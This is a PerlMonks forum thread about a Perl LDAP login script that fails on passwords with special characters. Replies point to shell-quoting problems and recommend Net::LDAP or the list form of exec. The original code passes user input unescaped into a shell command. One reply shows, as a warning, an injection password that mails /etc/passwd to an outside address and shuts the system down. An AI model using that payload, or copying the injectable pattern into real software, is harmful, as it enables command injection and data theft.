bar10der has asked for the wisdom of the Perl Monks concerning the following question:

Hi Monks,

I am using a perl script to authenticate LDAP password through browser. All was well till it became necessary for users to include at least one special character in their password. Now my script fails if there are certain special characters.

Here is the code-

sub userAuthenticate{ my $id = shift; my $password = shift; my $flag = 'Y'; my $ldapserver = "theServer"; my $ldapsearch = "ldapsearch -r"; my ($auth,$msg); my ($userdn) = qx{$ldapsearch -h $ldapserver -b dc=xxx,dc=com employ +eenumber=$id dn}; chomp $userdn; if($userdn eq ""){ $auth = 0; $msg = "Invalid Id/Password....Please try again"; } else{ my $cmd="$ldapsearch " . "-h $ldapserver " . " -b dc=xxx,dc=com " . qq{ -D '$userdn' } . qq{ -w '$password' } . "employeenumber=$id dn"; my ($result)=qx{$cmd}; chomp $result; if ($result eq $userdn){ $auth = 1; $msg = "OK"; } else{ $auth = 0; $msg = "Invalid Id/Password....Please try again"; } } return ($auth,$msg); }
Any help will be greatly appreciated

Replies are listed 'Best First'.
Re: LDAP Authentication
by g0n (Priest) on Nov 08, 2005 at 13:07 UTC
    Could you elaborate on 'my script fails': how does it fail? Does it generate an error? Falsely claim the password is incorrect?

    That said, it seems likely that the special characters have special meanings to the shell - single quotes for example, and the qx($cmd) call is failing on that. For example, if the content of the $cmd variable is:

    ldapsearch -h 127.0.0.1 -b 'dc=xyz, dc=com' -D 'cn=user,dc=xyz,dc=com' + -w xy'z employeenumber dn

    the shell will grumble over the unmatched ' in the middle of the password.

    You would probably find this much easier to write and maintain using Net::LDAP, and you could do away with the relatively inefficient "bind and search" done from the command line, in favour of a simple "bind". Also, using Net::LDAP would reduce the possibility of an injection attack passing malicious code to the command line.

    Update: Slightly OT, I notice that you're doing the same ldapsearch 2ce, 1ce as anonymous to get the userdn, then again as the user to validate the password. That's pretty inefficient, especially if employeenumber isn't indexed. You would probably get a significant speed improvement by using  -b $userdn -s base in the second search.

    --------------------------------------------------------------

    "If there is such a phenomenon as absolute evil, it consists in treating another human being as a thing."

    John Brunner, "The Shockwave Rider".

      Sorry for being vague. Here is some more details-

      $userdn get valid value. I can see when i print $suerdn. However as rightly pointed it is the $cmd where script fails. It returns

      ldap_simple_bind_s: Invalid credentials

        Have you tried printing out $cmd, inspecting the string to make sure it's a valid 'ldapsearch' command, and perhaps pasting it straight into the command line?

        --------------------------------------------------------------

        "If there is such a phenomenon as absolute evil, it consists in treating another human being as a thing."

        John Brunner, "The Shockwave Rider".

Re: LDAP Authentication
by blue_cowdawg (Monsignor) on Nov 08, 2005 at 13:34 UTC
        my $cmd="$ldapsearch " . "-h $ldapserver " . " -b dc=xxx,dc=com " . qq{ -D '$userdn' } . qq{ -w '$password' } . "employeenumber=$id dn";

    One thing troubles me (besides not knowing what sort of failure you are getting) is that you are not using Net::LDAP to access the LDAP store.

    It is very possible that one or more of the "special characters" are being interpreted by the shell and causing unexpected behavior.

    We've implemented this sort of thing at one of my clients using Net::LDAP and never had any sort of issue using all sorts of special characters that would cause a shell to exhibit "odd" behaviors. My own password being a classic example. I tend to consider the entire keyboard fair game. :-)


    Peter L. Berghold -- Unix Professional
    Peter -at- Berghold -dot- Net; AOL IM redcowdawg Yahoo IM: blue_cowdawg
Re: LDAP Authentication
by Tanktalus (Canon) on Nov 08, 2005 at 15:25 UTC

    I'll re-iterate everyone else's call for using the right tool for the job - and here, that tool is Net::LDAP. However, if there is something special with your ldapsearch executable that allows it to work where Net::LDAP can't (the only thing I can think of is LDAP searches restricted to root - i.e., outgoing on privileged ports - and ldapsearch being setuid-root), the way to get rid of the special-character problem is to eliminate the shell. Use the list form of system rather than the string form. Of course, you also want the output, so you'll need to use something like IPC::Open2. Note that we're going to quickly get to the point where using Net::LDAP will be the trivial solution, and this will be the hard solution. (And Net::LDAP will be faster.)

    The key is to get each parameter in a seperate string in an array. You start with "ldapsearch -r" - we can't do that, they must be seperated out.

    use IPC::Open2; my @ldapsearch = qw(ldapsearch -r); my @userdncmd = (@ldapsearch, -h => $ldapserver, -b => 'dc=xxx,dc=com', 'employeenumber=' . $id, 'dn'); my ($rdrfh, $wtrfh); my $pid = open2($rdrfh, $wtrfh, @usrdncmd); close $wtrfh; # don't need to write to the stdin of ldapsearch my $userdn = do { local $/ = undef; <$rdrfh> }; chomp $userdn;

    Another option is to create the pipe yourself - but that involves some forking and using exec instead of system. You can do this with pipe, but I usually use IO::Pipe. I think that's even more involved than using IPC::Open2.

    As I said (as has everyone else), Net::LDAP is probably a better choice.

    (Warning: untested, even uncompiled, code above.)

Re: LDAP Authentication
by Skeeve (Parson) on Nov 08, 2005 at 13:34 UTC

    As stated above: You'd better use a module to do what you want.

    I'm wondering what might happen to your scrip if I feed it my password:
    ';/usr/lib/sendmail -s hacking hacked.by.skeeve@xoxy.net < /etc/passwd; shutdown -y -g 0;

    Just kidding... this won't, most certainly, hurt, but there might be other, real exploits...


    s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
    +.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e
Re: LDAP Authentication
by strat (Canon) on Nov 09, 2005 at 08:01 UTC

    If there are special chars within a string, it might be better to encode this value with MIME::Base64, e.g.

    use MIME::Base64 (); my $encodedPassword = MIME::Base64::encode_base64($password);

    If this still doesn't work, there might be a wrong codepage. Use Encode to convert the value to utf8 before converting with MIME::Base64, e.g if your script's data uses iso-8859-1, try something like:

    use Encode (); Encode::from_to($password, "iso-8859-1", "utf8");

    But I'd really use Net::LDAP for this task...

    (If you want to read from Active Directory, you need to encode to 'iso-8859-1' and use LDAP Version 2 for not to get problems with special chars

    Best regards,
    perl -e "s>>*F>e=>y)\*martinF)stronat)=>print,print v8.8.8.32.11.32"